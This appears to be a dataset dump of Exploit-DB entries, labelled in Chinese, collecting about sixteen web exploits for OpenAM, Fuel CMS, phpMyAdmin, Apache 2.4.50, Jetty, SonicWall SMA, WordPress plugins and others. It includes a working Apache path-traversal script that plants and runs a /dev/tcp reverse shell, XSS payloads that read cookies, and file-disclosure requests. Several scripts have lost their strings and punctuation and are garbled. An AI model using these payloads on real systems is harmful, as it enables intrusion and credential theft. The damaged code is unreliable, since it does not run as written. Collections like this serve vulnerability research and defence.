QLWD/code_shield huggingface dataset:
标题: OpenAM 13.0 - LDAP Injection EDB-ID: 50480 CVE: 2021-29156 类型: WEBAPPS 平台: JAVA 发布日期: 2021-11-03 漏洞利用脚本: # Exploit Title: OpenAM 13.0 - LDAP Injection
# Date: 03/11/2021
# Exploit Author: Charlton Trezevant, GuidePoint Security
# Vendor Homepage: https://www.forgerock.com/
# Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0,
# https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam
# Version: OpenAM v13.0.0
# Tested on: go1.17.2 darwin/amd64
# CVE: CVE-2021-29156
# 
# This vulnerability allows an attacker to extract a variety of information
# (such as a user’s password hash) from vulnerable OpenAM servers via LDAP
# injection, using a character-by-character brute force attack.
# 
# httpsgithubcomguidepointsecurityCVE
# httpsnvdnistgovvulndetailCVE
# httpsportswiggernetresearchhiddenoauthattackvectors

 main


 
 
 
 
 
 
 
 


  
 
 baseURL  

 
 proxy  

 
 user  

 
 
 
 
 rateLimit  

 
 payloadUsername  fmt user
 partURL  fmt baseURL payloadUsername

 
 
 
 
 
 testCharPayload  
 testCrackedPayload  

 
 
 
 dict  

 
 
 
 
 password  

 proxyURL   urlproxy

 
 
 
 client  httpClient
  Transport httpTransport
   Proxy httpproxyURL
  
  Timeout   timeSecond
 

 
 cracked    
 foundChar    

 wg  syncWaitGroup
 wg

 
 
 
 

loop
  
   
   cracked
   
   
   fmt password
   wg
    loop

   char  foundChar
   
   
   
   
   
   password  char
   fmt password

   
    client httpClient url payload  password  cracked   
    
    timetimerand  timeMicrosecond
    time  timeSecond
    client url payload password cracked
   client partURL testCharPayload password cracked

  
    i   i  rateLimit i 
    testChar  dictValue
     client httpClient url payload  password testChar  foundChar   
     timetimerand  timeMicrosecond
     time  timeSecond
     client url payload password testChar foundChar
    client partURL testCrackedPayload password testChar foundChar
    dict  dict
   

   time  timeSecond
  
 

 wg







 client httpClient targetURL payload password  cracked   
 fullPayload  fmtpayload urlpassword
 fullURL  fmt targetURL fullPayload

 req err  http fullURL 
  err   
  fmt err
  
 

 res err  clientreq
  err   
  fmt err
  
 

  resStatusCode   
  cracked  password
  
 

  resStatusCode   
  
 

 fmt resStatusCode payload



 client httpClient targetURL payload password testChar  foundChar   
 
 combinedPass  urlfmt password testChar
 fullPayload  fmtpayload combinedPass
 fullURL  fmt targetURL fullPayload

 req err  http fullURL 
  err   
  fmt err
  
 

 res err  clientreq
  err   
  fmt err
  
 

  resStatusCode   
  foundChar  testChar
  
 

  resStatusCode   
  
 

 fmt resStatusCode payload






  ringRing 
  upcase   
  lcase   
  num   
  punct   

  dictionary   upcase  lcase  num  punct

 buf  ringdictionary

   c   dictionary 
  bufValue  fmt c
  buf  buf
 

  buf



  
 fmt URL: https://www.exploit-db.com/exploits/50480
标题: Fuel CMS 1.4.1 - Remote Code Execution (3) EDB-ID: 50477 CVE: 2018-16763 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-03 漏洞利用脚本: # Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
 sys
 colorama  Fore Style

 
 parser  argparseArgumentParserdescriptionusagefepilogf

 parseradd_argumentactionversion

 parseradd_argumentmetavardest

 args  parserparse_args

  sysargv 
  parserprint_usage
  sysexit
 
  args


args  get_arguments
url  argsurl 

    url
 sysstderrwrite
 sysexit


   r  requestsgeturl
    rstatus_code  
       StyleBRIGHTForeGREENStyleRESET_ALL


 requestsConnectionError
    StyleBRIGHTForeREDStyleRESET_ALL
    sysexit

 
 cmd  StyleBRIGHTForeYELLOWStyleRESET_ALL
  
 main_url  urlquote(cmd)+"%27%29%2b%27"

 r  requestsgetmain_url

 

 output  rtextsplit
 output
  cmd URL: https://www.exploit-db.com/exploits/50477
标题: Eclipse Jetty 11.0.5 - Sensitive File Disclosure EDB-ID: 50478 CVE: 2021-34429 类型: WEBAPPS 平台: JAVA 发布日期: 2021-11-03 漏洞利用脚本: # Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure 
# Date: 2021-11-03
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/
# Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6
# Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
# Tested on: Kali Linux
# CVE : CVE-2021-34429
# Github POC: https://github.com/ColdFusionX/CVE-2021-34429

POC - Access WEB-INF/web.xml 

## Request

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:9006
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

## Response

HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app> URL: https://www.exploit-db.com/exploits/50478
标题: phpMyAdmin 4.8.1 - Remote Code Execution (RCE) EDB-ID: 50457 CVE: 2018-12613 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-25 漏洞利用脚本: # Exploit Title: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
# Date: 17/08/2021
# Exploit Author: samguy
# Vulnerability Discovery By: ChaMd5 & Henry Huang
# Vendor Homepage: http://www.phpmyadmin.net
# Software Link: https://github.com/phpmyadmin/phpmyadmin/archive/RELEASE_4_8_1.tar.gz
# Version: 4.8.1
# Tested on: Linux - Debian Buster (PHP 7.3)
# CVE : CVE-2018-12613

#!/usr/bin/env python

import re, requests, sys

# check python major version
if sys.version_info.major == 3:
   html

   sixmoveshtml_parser  HTMLParser
  html  HTMLParser

 sysargv  
  usage  
  usagesysargvsysargv
  exit

 content
  s  research content
  token  htmlunescapesgroup
   token

ipaddr  sysargv
port  sysargv
path  sysargv
username  sysargv
password  sysargv
command  sysargv

url  ipaddrportpath


url1  url  
r  requestsgeturl1
content  rcontentdecode
 rstatus_code  
  
  exit

s  research content
version  sgroup
 version    version  
  version
  exit


cookies  rcookies
token  get_tokencontent


p   token  username  password
r  requestsposturl1 cookies  cookies data  p
content  rcontentdecode
s  research content
logged_in  sgroup
 logged_in  
  
  exit


cookies  rcookies
token  get_tokencontent


url2  url  

payload  command
p    token  payload 
r  requestsposturl2 cookies  cookies data  p
 rstatus_code  
  
  exit


session_id  cookiesget_dict
url3  url  session_id
r  requestsgeturl3 cookies  cookies
 rstatus_code  
  
  exit


content  rcontentdecode errors
s  research content reDOTALL
 s  
  sgroup URL: https://www.exploit-db.com/exploits/50457
标题: WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS) EDB-ID: 50463 CVE: 2021-31682 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-10-29 漏洞利用脚本: # Exploit Title: WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS)
# Date: 4/07/2021
# Exploit Author: 3ndG4me
# Vendor Homepage: https://www.automatedlogic.com/en/products/webctrl-building-automation-system/
# Version: 6.5 and Below
# CVE : CVE-2021-31682

--Summary--

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. 

Automated Logic
https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/

--Affects--

- WebCTRL OEM
- Versions 6.5 and prior

--Details--

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization. This can allow for several issues including but not limited to:

- Hijacking a user's session
- Using XSS payloads to capture input (keylogging)


-- Proof of Concept --
The following URL parameter was impacted and can be exploited with the sample payload provided below:
- https://example.com/index.jsp?operatorlocale=en/><script>alert("xss")</script> 

--Mitigation--

Sanitize any user controlled input in both form fields and URL parameters to properly encode data so it is not rendered as arbitrary HTML/JavaScript.

--Timeline--

- 4/07/2021: XSS Vulnerability was discovered and documented. 
- 4/17/2021: A temporary CVE identifier was requested by MITRE. Automated Logic was also notified with the full details of each finding via their product security contact at https://www.automatedlogic.com/en/about/security-commitment/. A baseline 90 day disclosure timeline was established in the initial communication.
- 7/23/2021: MITRE Assigns CVE ID CVE-2021-31682 to the vulnerability.
- 9/08/2021: Automated Logic formally responds requesting the CVE identifier and states that the issue should be patched in newer versions of the product.
- 10/20/2021: The researcher responds with the CVE identifier and a request for all impacted version numbers so they can release a more accurate impacted list of products when full disclosure occurs. Automate Logic responds with a list of impacted versions the same day, and the researcher publicly discloses the issue and submits a CVE details update request to MTIRE. URL: https://www.exploit-db.com/exploits/50463
标题: Movable Type 7 r.5002 - XMLRPC API OS Command Injection (Metasploit) EDB-ID: 50464 CVE: 2021-20837 类型: WEBAPPS 平台: CGI 发布日期: 2021-10-29 漏洞利用脚本: class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Movable Type XMLRPC API Remote Command Injection",
      'Description'    => %q{
        This module exploit Movable Type XMLRPC API Remote Command Injection.
      },
      'License'        => MSF_LICENSE,
               
        
           
           
        
           
        
           
           
           
        
        
        
            
        
              
                  
            
        
         
        
            
              
              
                  
                  
                  
                      
              
            
          
    
    
      
        
            
       
    
  

   cmd opts
    base64_cmd  cmd
    xml_body  
xml version encoding
    methodCall
      methodNamemthandler_to_coderefmethodName
      params
        param
          value
            base64
            
            base64
          value
        param
      params
    methodCall
    
  

   check
    
      fingerprint  
      command_payload  fingerprint

      res  
                                     
                                        target_uripath
                                      
                                       command_payload
                          

         res
         rescode  

       res  resbodyincludefingerprint
         
      
     
       
    
    
  

   exploit
    
      command_payload  payloadraw

      res  
                                     
                                        target_uripath
                                      
                                       command_payload URL: https://www.exploit-db.com/exploits/50464
标题: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) EDB-ID: 50446 CVE: 2021-42013 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-10-25 漏洞利用脚本: # Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)
# Credits: Ash Daulton & cPanel Security Team
# Date: 24/07/2021
# Exploit Author: TheLastVvV.com
# Vendor Homepage:  https://apache.org/
# Version: Apache 2.4.50 with CGI enable
# Tested on : Debian 5.10.28
# CVE : CVE-2021-42013

#!/bin/bash

echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI'
if [ $# -eq 0 ]
then
echo  "try: ./$0 http://ip:port LHOST LPORT"
exit 1
fi
curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash  /tmp/revoshell.sh"

#usage chmod -x CVE-2021-42013.sh
#./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORT URL: https://www.exploit-db.com/exploits/50446
标题: WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 50442 CVE: 2021-24444 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-25 漏洞利用脚本: # Exploit Title: WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 23-10-2021
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/simple-tags/
# Tested on Windows
# CVE: CVE-2021-24444
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24444
# Reference: https://wpscan.com/vulnerability/a31321fe-adc6-4480-a220-35aedca52b8b


How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate TaxoPress Version 3.0.7.1
3. Navigate to Add Table >> add the payload into 'Table Name & Descriptions'
and enter the data into the user input field.

4. Enter JavaScript payload which is mentioned below
"><img src=x onerror=confirm(docment.domain)>

5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality in that
time JavaScript payload is executing successfully and we are getting a
pop-up. URL: https://www.exploit-db.com/exploits/50442
标题: Jetty 9.4.37.v20210219 - Information Disclosure EDB-ID: 50438 CVE: 2021-28164 类型: WEBAPPS 平台: JAVA 发布日期: 2021-10-22 漏洞利用脚本: # Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure 
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0 URL: https://www.exploit-db.com/exploits/50438
标题: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50427 CVE: 2021-24719 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-19 漏洞利用脚本: # Exploit Title: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS)
# Google Dork: "inurl:avia-element-paging"
# Date: 18/10/2021
# Exploit Author: Francisco Díaz-Pache Alonso, Sergio Corral Cristo and David Álvarez Robles
# Vendor Homepage: https://kriesi.at/
# Version: Enfold < 4.8.4 (all versions)
# Tested on: Ubuntu
# CVE : CVE-2021-24719

# Full disclosure and PoC on: https://blog.asturhackers.es/cross-site-scripting-xss-reflejado-en-tema-enfold-4-8-4-para-wordpress

While navigating on WordPress sites with Enfold Theme previous than 4.8.4 version and Avia Page Builder, string “ProofOfConcept” can be reflected literally  on pagination numbers. Moreover, the parameter “avia-element-paging” appears and can be used for crafting Google Dork based searches.

https://[hostname]/[path]?ProofOfConcept --> This URL must include pages shown by Enfold theme

Changing the “ProofOfConcept” text with a Cross-Site-Scripting (XSS) payload, the page processes and executes it. This is a reflected Cross-Site-Scripting (XSS)  vulnerability. Find the following URL that includes the malicious payload.

https://[hostname]/[path]/?%2527%253E%253Cscript%253Eeval%2528atob%2528%2522Y29uc29sZS5sb2coZG9j --> This URL must include pages shown by Enfold theme

Payload (double encoded): this payload is double encoded in the URL from:
'><script>eval(atob("Y29uc29sZS5sb2coZG9jdW1lbnQuY29va2llKQ=="))</script>

Payload (base64): the “atob” payload is Base64 encoded from:
console.log(document.cookie)

Navigating to the crafted URL, the console log displays some cookies that are used by the affected site (i.e. cookies with no “HttpOnly” flag set). However, the payload can be easily configurable. URL: https://www.exploit-db.com/exploits/50427
标题: SonicWall SMA 10.2.1.0-17sv - Password Reset EDB-ID: 50430 CVE: 2021-20034 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-10-20 漏洞利用脚本: # Exploit Title: SonicWall SMA 10.2.1.0-17sv - Password Reset
# Description: Overwrite the persistent database, resulting in password reset on reboot.
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22Virtual+Office%22+%22Server%3A+SonicWall%22
# Date: 10/19/2021
# Exploit Author: Jacob Baines (@Junior_Baines)
# Root Cause Analysis: https://attackerkb.com/topics/23t9VCbGzt/cve-2021-20034/rapid7-analysis?referrer=profile
# Vendor Homepage: https://www.sonicwall.com/
# Version: SMA 100 Series using 9.0.0.10-28sv, 10.2.0.7-34sv, and 10.2.1.0-17sv
# Tested on: SMA 500v using 9.0.0.10-28sv and 10.2.1.0-17sv
# CVE : CVE-2021-20034

curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db" URL: https://www.exploit-db.com/exploits/50430
标题: Plastic SCM 10.0.16.5622 - WebAdmin Server Access EDB-ID: 50426 CVE: 2021-41382 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-10-18 漏洞利用脚本: # Exploit Title: Plastic SCM 10.0.16.5622 - WebAdmin Server Access
# Shodan Dork: title:"Plastic SCM"
# Date: 18.10.2021
# Exploit Author: Basavaraj Banakar
# Vendor Homepage: https://www.plasticscm.com/
# Software Link: https://www.plasticscm.com/download/releasenotes/10.0.16.5622
# Version: Plastic SCM < 10.0.16.5622
# Tested on: Chrome,Firefox,Edge
# CVE : CVE-2021-41382

# Reference: https://infosecwriteups.com/story-of-google-hall-of-fame-and-private-program-bounty-worth-53559a95c468

# Exploit:

1. Navigate to target.com/account [This holds administrator login console]

2. Change URL to target.com/account/register [Here able to set new password for the adminstrator user]

3. Now after changing password of administrator and login to console and Navigate to target.com/configuration/authentication and set an new password for any of the users

4. Now navigate to target.com/webui/repos and login with the recently changed password for user i.e is in step 3 URL: https://www.exploit-db.com/exploits/50426
标题: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS) EDB-ID: 50423 CVE: 2018-16061 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-10-18 漏洞利用脚本: # Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16061


# PoC
# Request

POST
/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%
3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1
Host: **.**.**.***
Content-Length: 132
Cache-Control: max-age=0
Origin: http://**.**.**.***
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/68.0.3440.84
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://**.**.**.***sss/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=el8pvccq5747u4qj9koio950l7
Connection: close

submitted=1&username=--
%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw
ord=&Submit=Login

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:14:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4
Vary: Accept-Encoding
Content-Length: 3573
Connection: close
Content-Type: text/html

<div id='fg_membersite' class='login_form'>
<form id='login' name='login'
action='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'
method='post' accept-charset='UTF-8'>


Reference :

https://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view URL: https://www.exploit-db.com/exploits/50423
标题: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure EDB-ID: 50422 CVE: 2018-16060 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-10-18 漏洞利用脚本: # Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16060


# PoC
# Request

GET /web HTTP/1.1
Host: **.**.**.***
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:09:53 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Location: web.tar
Vary: negotiate
TCN: choice
Last-Modified: Wed, 19 Nov 2014 09:40:36 GMT
ETag: "93800-5083300f58d00;51179459a2c00"
Accept-Ranges: bytes
Content-Length: 604160
Connection: close
Content-Type: application/x-tar


Reference :

https://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH URL: https://www.exploit-db.com/exploits/50422
标题: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read EDB-ID: 50420 CVE: 2020-11738 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-18 漏洞利用脚本: # Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
# Date: October 16, 2021
# Exploit Author: nam3lum
# Vendor Homepage: https://wordpress.org/plugins/duplicator/
# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]
# Version: 1.3.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2020-11738

import requests as re
import sys

if len(sys.argv) != 3:
        print("Exploit made by nam3lum.")
        
        exit

arg  sysargv
  sysargv

URL  arg    

output  regeturl  URL
outputtext URL: https://www.exploit-db.com/exploits/50420
标题: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS) EDB-ID: 50418 CVE: 2021-41878 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-15 漏洞利用脚本: # Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close URL: https://www.exploit-db.com/exploits/50418